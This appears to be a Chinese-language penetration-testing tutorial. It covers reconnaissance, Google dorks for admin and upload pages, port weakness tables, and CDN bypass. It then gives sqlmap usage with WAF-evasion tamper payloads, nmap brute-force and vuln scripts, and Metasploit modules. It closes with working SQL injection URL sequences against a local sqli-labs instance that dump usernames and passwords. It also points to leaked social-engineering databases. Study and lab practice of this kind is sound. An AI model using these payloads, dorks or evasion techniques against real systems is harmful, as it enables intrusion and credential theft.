本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。
Whois查询
kali:whois baidu.com
爱站工具网:https://whois.aizhan.com
站长之家:http://whois.chinaz.com
VirusTotal:https://www.virustotal.com
备案信息查询
ICP备案查询网:http://www.beianbeian.com
天眼查:http://www.tianyancha.com
站长工具:https://icp.chinaz.com
Google语法
site:可以限制你搜索范围的域名;
inurl:用于搜索网页上包含的URL,这个语法对寻找网页上的搜索,帮助之类的很有用;
intext: 只搜索网页部分中包含的文字(也就是忽略了标题、URL等的文字);
intitle: 查包含关键词的页面,一般用于社工别人的webshell密码;
filetype:搜索文件的后缀或者扩展名;
intitle:限制你搜索的网页标题;
查找后台地址:
site:域名inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
查找文本内容:
site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|admin|login|sys|managetem|password|username
查找可注入点:
site:域名 inurl:aspx|jsp|php|asp
查找上传漏洞:
site:域名 inurl:file|load|editor|Files
找eweb编辑器:
site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
存在的数据库:
site:域名 filetype:mdb|asp|#
查看脚本类型:
site:域名 filetype:asp/aspx/php/jsp
迂回策略入侵:
inurl:cms/data/templates/images/index/
乌云漏洞表:https://wooyun.shuimugan.com
子域名检测工具
Layer子域名挖掘机、K8、wydomain、Sublist3r、dnsmaper、subDomainsBrute、Maltego CE等
搜索引擎枚举
如利用google语法搜索子域名:site:baidu.com
第三方聚合工具枚举
如DNSSdumpster网、在线DNS侦查
证书透明度
crt.sh:https://crt.sh
censys:https://censys.io
nmap、无状态端口扫描工具Masscan、ZMap、御剑告诉TCP端口扫描工具
端口号 | 漏洞名称 |
---|---|
21 | FTP弱密码 |
22 | SSH弱密码 |
23 | telnet弱密码 |
25 | 邮件伪造、vrfy/expn查询邮件用户信息、可使用smtp-user-enum工具来自动跑 |
53 | 允许区域传送、dns劫持、缓存投毒、欺骗以及各种基于dns隧道的远控 |
69 | 尝试下载目标及其的各类重要配置文件 |
80-89、443、8440-8450、8080-8089 | 应用服务器端口可尝试经典的topn、、owa、webmail、目标oa、Java控制台、服务器Web管理面板、Web中间件漏洞利用、Web框架漏洞利用等等 |
110 | POP3可尝试爆破、嗅探 |
111、2049 | NFS 权限配置不当 |
137、139、445 | SMB 尝试爆破以及smb自身的各种远程执行类漏洞利用、如、ms08-067、ms17-010、嗅探等…… |
143 | IMAP |
161 | snmp默认团体名/弱口令漏洞 |
389 | LDAP、ILS |
443 | poodle漏洞:ssl3协议禁用 |
445 | ms17-010、ms08-067 |
464 | kpasswd Kerberos 口令和钥匙改换服务 |
512、513、514 | Linux rexec 可爆破、rlogin登陆 |
554 | RTSP |
873 | Rsync未授权访问、匿名访问、文件上传 |
1194 | OpenVPN想办法钓VPN账号、进内网 |
1352 | Lotus |
1433 | SQL弱口令、信息泄漏、爆破 |
1500 | ISPmanager |
1521 | Oracle注入、提权、sa弱口令、爆破 |
1723 | PPTP弱口令 |
2082、2083 | cPanel 弱口令 |
2181 | ZooKeeper弱口令 |
2601、2604 | Zebra 默认密码zerbra |
3128 | Squid默认密码zerbra |
3306 | mysql弱密码 |
3312、3311 | kangle 弱口令 |
3389 | ms12-020、Windows注入、提权、爆破 |
3690 | SVN svn泄露、未授权访问 |
4848 | GlassFish 弱口令 |
5000 | Sybase/DB2爆破、注入 |
5432 | PostgreSQL爆破、注入 |
5900、5901、5902 | VNC 弱口令爆破 |
5984 | CouchDB远程代码执行、弱口令爆破 |
6379 | redis未授权访问 |
7001、7002 | WebLogic反序列化漏洞(cve-2018-2893) |
7778 | KloxoJava反序列化、弱口令 |
8000 | Ajenti主机面板登录 |
8069 | Zabbix弱口令 |
8080-8089 | Jenkins、JBoss |
8161 | activemq后台弱密码漏洞 |
8393 | solr |
8443 | Plesk弱口令 |
9080、9081、9090 | WebSphere(应用服务器) Java反序列化/弱口令 |
9200、9300 | Elasticsearch未授权访问漏洞、任意文件读取、远程命令执行 |
11211 | Memcached 未授权访问 |
27017、27018 | MongoDB 爆破、未授权访问 |
50070、50030 | Hadoop爆破、未授权访问 |
61616 | (ActiveMQ消息队列端口)ActiveMQ反序列化漏洞(CVE-2015-5254) |
御剑web指纹识别、WhatWeb、WebRobo、椰树等
bugScaner:http://whatweb.bugscaner.com/look/
云悉指纹:http://www.yunsee.cn/finger.html
WhatWeb:https://whatweb.net/
判断目标是否使用了CDN
利用在线网站17CE(https://www.17ce.com)进行全国多地区的ping服务操作。
绕过CDN寻找真实IP
内部邮箱源
一般邮箱系统都在内部,没有经过CDN的解析。
扫描网站测试文件
如phpinfo、test等。
分站扫描
一般只主站挂CDN,分站没有。
国外访问
国内的CDN往往只对国内用户的访问加速。
国外在线代理网站App Synthetic Monitor(https://asm.ca.com/en/ping.php)
查询域名的解析记录
也行域名很久以前没有用过CDN,所以可以查询域名的IP记录
网站NETCRAFT(https://www.netcraft.com)
利用APP查询
如果目标网站有自己的APP,可以尝试使用Fiddler或者Burp抓包看APP请求
绕过CloudFlare CDN查找真实IP
很多网站都使用CloudFlare提供的CDN服务,在确定目标网站使用CDN后,可以先尝试使用在线网站CloudFlareWatch()
工具有DirBuster、御剑后台扫描、wwwscan、Spinder.py、Sensitivefilescan、Weakfilescan等
可以收集邮件、QQ、电话号码、姓名等信息
可以利用社工库查询想要的信息
注入access数据库常用的参数
sqlmap.py -u “url” //判断参数是否存在注入
sqlmap.py -u “url” --tables //猜解表名
sqlmap.py -u “url” --columns -T “要猜解的表名” //猜解列名
sqlmap.py -u “url” --dump -C “列名” -T “表名” //爆出字段数据
注入MySQL数据库常用参数
sqlmap.py -u “url” //判断参数是否存在注入
sqlmap.py -u “url” --current-db //查看网站当前数据库
sqlmap.py -u “url” --is-dba //查看当前用户权限
sqlmap.py -u “url” --tables //猜解表名
sqlmap.py -u “url” --columns -T “要猜解的表名” //猜解列名
sqlmap.py -u “url” --dump -C “列名” -T “表名” //爆出字段数据
一些常用参数集合
–help //查看帮助选项
–dbs //查看网站所有数据库
–users //查看所有数据库的用户
–count //统计条数 (该条命令可用在爆表名的时候,便于查看哪个是管理员的表)
–level //测试等级(1-5)默认是1,cookie注入是2,http头注入是3
–dbms=mysql/oracle/mssql 指定数据库(这样既可以节省时间,在某些时候也可以绕过WAF)
sqlmap.py -u “url”–batch --exclude-sysdbs //batch是使用sqlmap默认选项,不用按回车;exclude-sysdbs是排除系统自带的数据库
显示调式信息
-v 显示调用信息有7个级别:
0只显示python错误以及严重的信息
1同时显示基本信息和警告信息。
2同时显示debug信息
3同时显示注入的payload
4同时显示http请求
5同时显示http响应头
6同时显示http响应页面
–risk //风险等级,共有四个等级,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的sql注入测试
-m //从文本中获取多个目标,文件中保存url格式,sqlmap会一个一个测试 sqlmap.py -m 1.txt
-r //获取http请求注入,sqlmap可以从一个文本文件中获取http请求,这样就可以跳过设置一些其他参数,在存在注入的http请求头加*。
利用的场景:post,搜索注入,http头注入,登陆后的注入(在登录后存在注入点,因为只有在登录后才有cookie)
-g //处理google搜索结果, sqlmap可以测试注入google的搜索结果中的get参数(前100个请求) sqlmap.py -g “inurl:php?id=”
判断是否存在注入
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1
当注入点后面的参数大于等于两个时,需要加双引号
sqlmap -u "http://localhost/sqlilabs/Less-1/?id=1&uid=2"
判断文本中的请求是否存在注入
sqlmap -r desktop/1.txt
查询当前用户下的所有数据库
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --dbs
查询数据库中的表名
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security --tables
获取表中的字段名
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security -T users --columns
获取字段内容
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security -T users -C username,password --dump
获取数据库的所有用户
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --users
获取数据库用户的密码
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --passwords
获取当前网站数据库的名称
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --current-db
获取当前网站数据库的用户名称
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --current-user
--level 5
:探测等级
指需要执行的测试等级,不加时默认为1。SQLMap使用的Payload可以在xml/payloads.xml中看到,也可以根据相应的格式自己添加payload。其中5级包含的payload最多,会自动破解出cookie、XFF等头部注入。
--is-dba
:查看当前账户是否为管理员权限
如果是则返回True
--roles
:列出数据库管理员角色
该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U
参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候。
--referer
:HTTP Referer头
SQLMap可以在请求中伪造HTTP中的referer,当--feferer
参数设定为3或者3以上时,会尝试对referer注入。可以使用该命令来欺骗,如:--erferer http://www.baidu.com
。
sql-shell
:运行自定义SQL语句
用于执行指定的SQL语句,如:sqlmap -u "http://localhost/sqlilabs/Less-1/?id=1" --sql-shell
os-cmd、--os-shell
:运行任意操作系统命令
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库在mysql、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。
使用该命令的两个条件:
- 当前账户为管理员权限
secure_file_priv
为任意读写状态,即为空
- 查询状态命令:
show global variables like '%secure%';
- 在my.ini文件中修改,修改后重启数据库
--file-read
:从数据库服务器中读取文件
当数据库为MySQL、PostgreSQL或者Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
--file-write、--file-dest
:上传文件到数据库服务器中
当数据库为MySQL、PostgreSQL或者Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
SQLMap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改,我们可以使用--tamper
参数对数据做修改来绕过WAF等设备,大部分脚本主要使用正则模块替换攻击载荷字符编码的方式来绕过检测规则。
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --tamper "space2plus.py"
适用数据库:ALL
作用:将引号替换为 utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
适用数据库:ALL
作用:替换为 base64 编码
使用脚本前:tamper("1' AND SLEEP(5)#")
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
适用数据库:ALL
作用:围绕 sql 关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')
使用脚本后:1 UNION SELECT foobar
适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT+id+FROM+users
适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的 sql 关键字(适用于非常弱的自定义过滤器,例如将 select 替换为空)
使用脚本前:tamper('1 UNION SELECT 2--')
使用脚本后:1 UNIOUNIONN SELESELECTCT 2--
适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Did%0DFROM%0Ausers
适用数据库:ALL
作用:将union allselect
替换为unionselect
使用脚本前:tamper('-1 UNION ALL SELECT')
使用脚本后:-1 UNION SELECT
适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1 and '0having'='0having'
适用数据库:ALL
作用:将空格替换为--
,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Eid%0DFROM%07users
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND #
替换>
使用脚本前:tamper('1 AND A > B--')
使用脚本后:1 AND A NOT BETWEEN 0 AND B--
适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每个字符前添加一个%
使用脚本前:tamper('SELECT FIELD FROM TABLE')
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
适用数据库:MSSQL
作用:从 T-SQL 日志的自动迷糊处理的有效载荷中追加 sp_password
使用脚本前:tamper('1 AND 9227=9227-- ')
使用脚本后:1 AND 9227=9227-- sp_password
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对给定的 payload 全部字符使用 url 编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:tamper('INSERT')
使用脚本后:INseRt
适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:适用字符串的 unicode 编码
使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为/**/
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT/**/id/**/FROM/**/users
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=
替换为LIKE
使用脚本前:tamper('SELECT * FROM users WHERE id=1')
使用脚本后:SELECT * FROM users WHERE id LIKE 1
测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将>
替换为 GREATEST,绕过对>
的过滤
使用脚本前:tamper('1 AND A > B')
使用脚本后:1 AND GREATEST(A,B+1)=A
适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)
替换为IF(ISNULL(A), B, A)
,绕过对IFNULL
的过滤
使用脚本前:tamper('IFNULL(1, 2)')
使用脚本后:IF(ISNULL(1),2,1)
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用 mysql 内联注释的方式进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!30874AND 2>1*/--
适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Bid%0DFROM%0Cusers
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/*!00000*/)
进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!00000AND 2>1*/--
适用数据库:MySQL、MSSQL
作用:将空格替换为 --
,并追随一个换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--%0AAND--%0A9227=9227
适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在 sql 语句之后用有效的随机空白字符替换空格符,随后用LIKE
替换=
使用脚本前:tamper('SELECT id FROM users where id = 1')
使用脚本后:SELECT%09id FROM users where id LIKE 1
适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加 mysql 版本注释
使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#
,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
适用数据库:ALL
作用:用非法双字节 Unicode 字符替换单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %00%271%00%27=%00%271
适用数据库:ALL
作用:在有效载荷的结束位置加载 null 字节字符编码
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1%00
适用数据库:ALL
作用:对给定的 payload 全部字符使用双重 url 编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
适用数据库:ALL
作用:用一个多字节组合%bf%27
和末尾通用注释一起替换空格
使用脚本前:tamper("1' AND 1=1")
使用脚本后:1%bf%27 AND 1=1--
适用数据库:ALL
作用:用注释符分割 sql 关键字
使用脚本前:tamper('INSERT')
使用脚本后:I/**/N/**/SERT
NMAP的功能包括:
参数(注意区分大小写) | 说明 |
---|---|
-sT | TCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息。 |
-sS | 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限。 |
-sF -sN | 秘密FIN数据包扫描、Xmas Tree、Null扫描模式 |
-sP | ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。 |
-sU | UDP扫描,但UDP扫描是不可靠的 |
-sA | 这项高级的扫描方法通常用来穿过防火墙的规则集 |
-sV | 探测端口服务版本 |
-Pn | 扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描 |
-v | 显示扫描过程,推荐使用 |
-h | 帮助选项,是最清楚的帮助文档 |
-p | 指定端口,如“1-65535、1433、135、22、80”等 |
-O | 启用远程操作系统检测,存在误报 |
-A | 全面系统检测、启用脚本检测、扫描等 |
-oN/-oX/-oG | 将报告写入文件,分别是正常、XML、grepable 三种格式 |
-T4 | 针对TCP端口禁止动态扫描延迟超过10ms |
-iL | 读取主机列表,例如,“-iL C:\ip.txt” |
扫描单个地址
nmap 127.0.0.1
扫描多个目标地址
nmap 127.0.0.1 127.0.0.2
扫描一个范围内的目标地址
nmap 127.0.0.1-100
扫描目标地址所在网段
nmap 127.0.0.1/24
扫描主机列表targets.txt中所有目标地址
nmap -iL c:\targets.txt
扫描除某一个目标地址之外的所有目标地址
nmap 127.0.0.1/24 -exclude 127.0.0.2
扫描除某一文件中的目标地址之外的目标地址
nmap 127.0.0.1/24 -excludefile c:\targets.txt
扫描某一地址的21、22、23、80端口
nmap 127.0.0.1 -p 21,22,23,80
对目标地址进行路由跟踪
nmap --traceroute 127.0.0.1
扫描目标地址所在C段的在线状况
nmap -sP 127.0.0.1/24
目标地址的操作系统指纹识别
nmap -O 127.0.0.1
目标地址提供的服务版本检测
nmap -sV 127.0.0.1
探测防火墙状态
nmap -sF -T4 127.0.0.1
可以设置--script=类别
进行扫描,常用参数如下。
-sC
:采用默认配置扫描,与 --script=default
参数等价
--script=
:使用某个脚本进行扫描
--script-args=key1=value1,key2=value2...
:该参数是用来传递脚本里面的参数的,key1 是参数名,该参数对应 value1 这个值,那么有更多的参数,使用逗号连接
–script-args-file=filename
: 使用文件来为脚本提供参数
--script-trace
:如果设置该参数,则显示所有的脚本
--script-updatedb
:在 Nmap 的 scripts 目录里有一个 script.db 文件,该文件中保存了当前 Nmap 可用的脚本,类似于一个小型数据库,如果我们开启 nmap 并且调用了此参数,则 nmap 会自行扫描 scripts 目录中的扩展脚本,进行数据库更新
--script-help = 脚本名称
调用该参数后,Nmap 会输出该脚本名称对应的脚本使用参数,以及详细介绍信息
鉴权扫描
使用--script=auth
可以对目标主机或目标主机所在网段进行应用弱口令检测。
nmap --script=auth 127.0.0.1
暴力破解攻击
可以对数据库、SMB、SNMP等进行简单密码的暴力猜解。
nmap --script=brute 127.0.0.1
常见漏洞的扫描
具备漏洞扫描的功能,可以检查目标主机或网段是否存在常见的漏洞。
nmap --script=vuln 127.0.0.1
应用服务扫描
具备很多常见的应用服务扫描脚本,例如VNC服务、MySQL服务、Telnet服务、Rsync服务等。
nmap --script=realvnc-auth-bypass 127.0.0.1
探测局域网内更多服务的开启情况
输入以下命令即可探测局域网内更多服务开启的情况。
nmap -n -p 445 --script=broadcast 127.0.0.1
Whois解析
利用第三方的数据库或者资源查询目的地址的信息,例如进行Whois解析。
nmap -script external baidu.com
The Metasploit Framework的简称。MSF高度模块化,即框架由多个module组成,是全球最受欢迎的工具。
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。
metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。
Metasploit可以向后端模块提供多种用来测试的接口,如:控制台、Web、CLI。通过控制台接口,可以访问和使用所有Metasploit插件,如:Payload、利用模块、Post模块等。
Metasploit还有第三方程序接口,如:Nmap、Sqlmap等,都可以直接在控制台接口里使用,通过输入msfconsole
进入启动页面,如需返回初始状态可使用back
命令。
使用 kali 系统时需要更新源。更新命令有 apt-get update、apt-get upgrade、apt-get dist-upgrade。
该模块只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试,不会直接在渗透测试的人和目标主机之间建立访问。
漏洞利用是渗透测试的人利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。渗透攻击技术包括缓冲区溢出、Web 应用程序攻击,以及利用配置错误等,其中包含渗透测试人员针对系统中的漏洞而设计的各种 POC 验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或执行特定代码,在 Metasploit 框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,跳转、修改参数,添加账号等等。
用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,例如获取敏感信息、实施跳板攻击等。
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS 及类似的安全软件检测出来。
在使用 Metasploit Framework 渗透测试时,主要使用的五大模块对目标系统进行侦察并发动攻击。
渗透测试攻击步骤大致如下:
一般来说,信息收集都是渗透测试的第一步,要尽可能多的收集目标主机的信息,信息越多越有利,渗透的概率也越大。主机扫描主要的重点是扫描目标主机 IP 地址、开放的端口、可用的服务等。
Auxiliaries 辅助模块是 Metasploit 的内置模块,首先搜索有哪些可用端口模块,命令:search portscan
从图中可以看到可用的扫描器列表,包含了各种扫描类型,以 TCP 扫描模块为例。
使用该扫描模块,命令:use auxiliary/scanner/portscan/tcp
使用该模块后,查看需要修改的参数配置,命令:show options
Required 列中,被标记为 yes 的参数必须包含实际的值,其中 RHOSTS
设置待扫描的 IP 地址、PORTS
设置扫描端口范围、THREADS
设置扫描线程,线程数量越高,扫描速度越快。
对于每个参数的修改可以使用set
命令,同样的可以使用unset
命令取消对参数的设置。
设置被扫描主机地址:192.168.216.131
命令为:set RHOSTS 192.168.216.131
设置扫描端口范围:1-8888
命令为:set PORTS 1-8888
设置线程数量:20
命令为:set THREADS 20
查看参数是否修改成功,还是输入show options
运行模块使用命令:run
扫描目标主机上运行的服务时,有很多种基于服务的扫描技术可供选择,如:VNC、FTP、SMB 等,只需要执行特定类型的扫描就可以发现服务。
通过命令:search scanner
可以把所有的扫描模块列表都罗列出来,有很多可以用的模块,具体操作与端口扫描模块基本相同。
模 块 | 功 能 |
---|---|
auxiliary/scanner/portscan | 端☐扫描 |
auxiliary/scanner/smb/smb_version | SMB 系统版本扫描 |
auxiliary/scanner/smb/smb_enumusers | SMB 枚举 |
auxiliary/scanner/smb/smb_login | SMB 弱☐令扫描 |
auxiliary/admin/smb/psexec_command | SMB 登录且执行命令 |
auxiliary/scanner/ssh/ssh_login | SSH 登录测试 |
scanner/mssql/mssql_ping | MSSQL 主机信息扫描 |
admin/mssql/mssql_enum | MSSQL 枚举 |
admin/mssql/mssql_exec | MSSQL 执行命令 |
admin/mssql/mssql_sql | MSSQL 查询 |
scanner/mssql/mssql_login | MSSQL 弱☐令扫描 |
auxiliary/admin/mysql/mysql_enum | MySQL 枚举 |
auxiliary/admin/mysql/mysql_sql | MySQL 语句执行 |
auxiliary/scanner/mysql/mysq_login | MySQL 弱☐令扫描 |
auxilaryscanner/smtp/smtp_version | SMTP 版本扫描 |
auxiliary/scanner/smtp/smtp_enum | SMTP 枚举 |
auxiliaryscanner/snmp/community | SNMP 扫描设备 |
aularyscannertelnetelnet_login | TELNET 登录 |
scanner/vnc/vnc_none_auth | VNC 空☐令扫描 |
在 Metasploit 中同样可以使用 Nmap 扫描。Nmap 不仅可以用来确定目标网络上主机的存活状态,还可以扫描计算机的操作系统、开放端口、服务等。
在 msf 命令提示符下直接输入nmap
,就可以显示 nmap 提供的所有扫描选项列表
在实际环境中,开发者需秉持“外部参数皆不可信”的原则进行开发。
在MySQL5.0版本之后,会默认在数据库存放information_schema
的数据库,在该库中:
SCHEMATA
表存储该用户创建的所有数据库的库名,记录数据库库名的字段名为schema_name
;
TABLES
表存储该用户创建的所有数据库的库名和表名,记录数据库库名和表名的字段分别为table_schema
和table_name
;
COLUMNS
表存储该用户创建的所有数据库的库名、表名和字段名,其对应的字段名分别是table_schema
、table_name
、column_name
。
limit的使用格式为limit m,n
,其中m
指记录开始的位置,从0开始,表示第一条记录,n
是指取n条记录。
database()
:当前网站使用的数据库
version()
:当前MySQL的版本
user()
:当前MySQL用户
在MySQL中,常见注释符的表达方式:#
、--空格
或/**/
。
内联注释的形式:/*! code */
。内联注释可以用于整个SQL语句中,示例如下:
index.php?id=-15 /*! union */ /*! select */ 1,2,3
我们以sqlilabs第一关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-1/?id=1
http://localhost/sqlilabs/Less-1/?id=1'
http://localhost/sqlilabs/Less-1/?id=1'--+
http://localhost/sqlilabs/Less-1/?id=1' and 1=1--+
http://localhost/sqlilabs/Less-1/?id=1' and 1=2--+
http://localhost/sqlilabs/Less-1/?id=1' order by 4--+
http://localhost/sqlilabs/Less-1/?id=1' order by 3--+
http://localhost/sqlilabs/Less-1/?id=1' union select 1,2,3--+
http://localhost/sqlilabs/Less-1/?id=999' union select 1,2,3--+
http://localhost/sqlilabs/Less-1/?id=999' union select 1,database(),version()--+
随后可将union select 1,2,3
中数字替换为以下查询语句,记得在左右两侧加括号:
select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema='security'
select group_concat(column_name) from information_schema.columns where table_name='users'
select group_concat(username) from security.users
select group_concat(password) from security.users
我们以sqlilabs第八关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-8/?id=1
http://localhost/sqlilabs/Less-8/?id=1'
http://localhost/sqlilabs/Less-8/?id=1' and 1=1 --+
http://localhost/sqlilabs/Less-8/?id=1' and 1=2 --+
http://localhost/sqlilabs/Less-8/?id=1' and length(database())>=10 --+
http://localhost/sqlilabs/Less-8/?id=1' and length(database())>=9 --+
http://localhost/sqlilabs/Less-8/?id=1' and length(database())>=8 --+
http://localhost/sqlilabs/Less-8/?id=1' and substr(database(),1,1)='e' --+
http://localhost/sqlilabs/Less-8/?id=1' and substr(database(),1,1)='s' --+
http://localhost/sqlilabs/Less-8/?id=1' and substr(database(),2,1)='e' --+
...
http://localhost/sqlilabs/Less-8/?id=1' and database()='security' --+
随后可将substr()
中database()
替换为查询语句,记得在左右两侧加括号:
substr(select group_concat(table_name) from information_schema.tables where table_schema='security',1,1)='u'
这里附各字母出现概率表:
字母 | 概率 |
---|---|
E | 0.1268 |
T | 0.0978 |
A | 0.0788 |
O | 0.0776 |
N | 0.0707 |
S | 0.0634 |
R | 0.0594 |
H | 0.0573 |
L | 0.0394 |
D | 0.0389 |
U | 0.0280 |
C | 0.0268 |
F | 0.0256 |
M | 0.0244 |
W | 0.0214 |
Y | 0.0202 |
G | 0.0187 |
P | 0.0186 |
B | 0.0156 |
V | 0.0102 |
K | 0.0060 |
X | 0.0016 |
J | 0.0010 |
Q | 0.0009 |
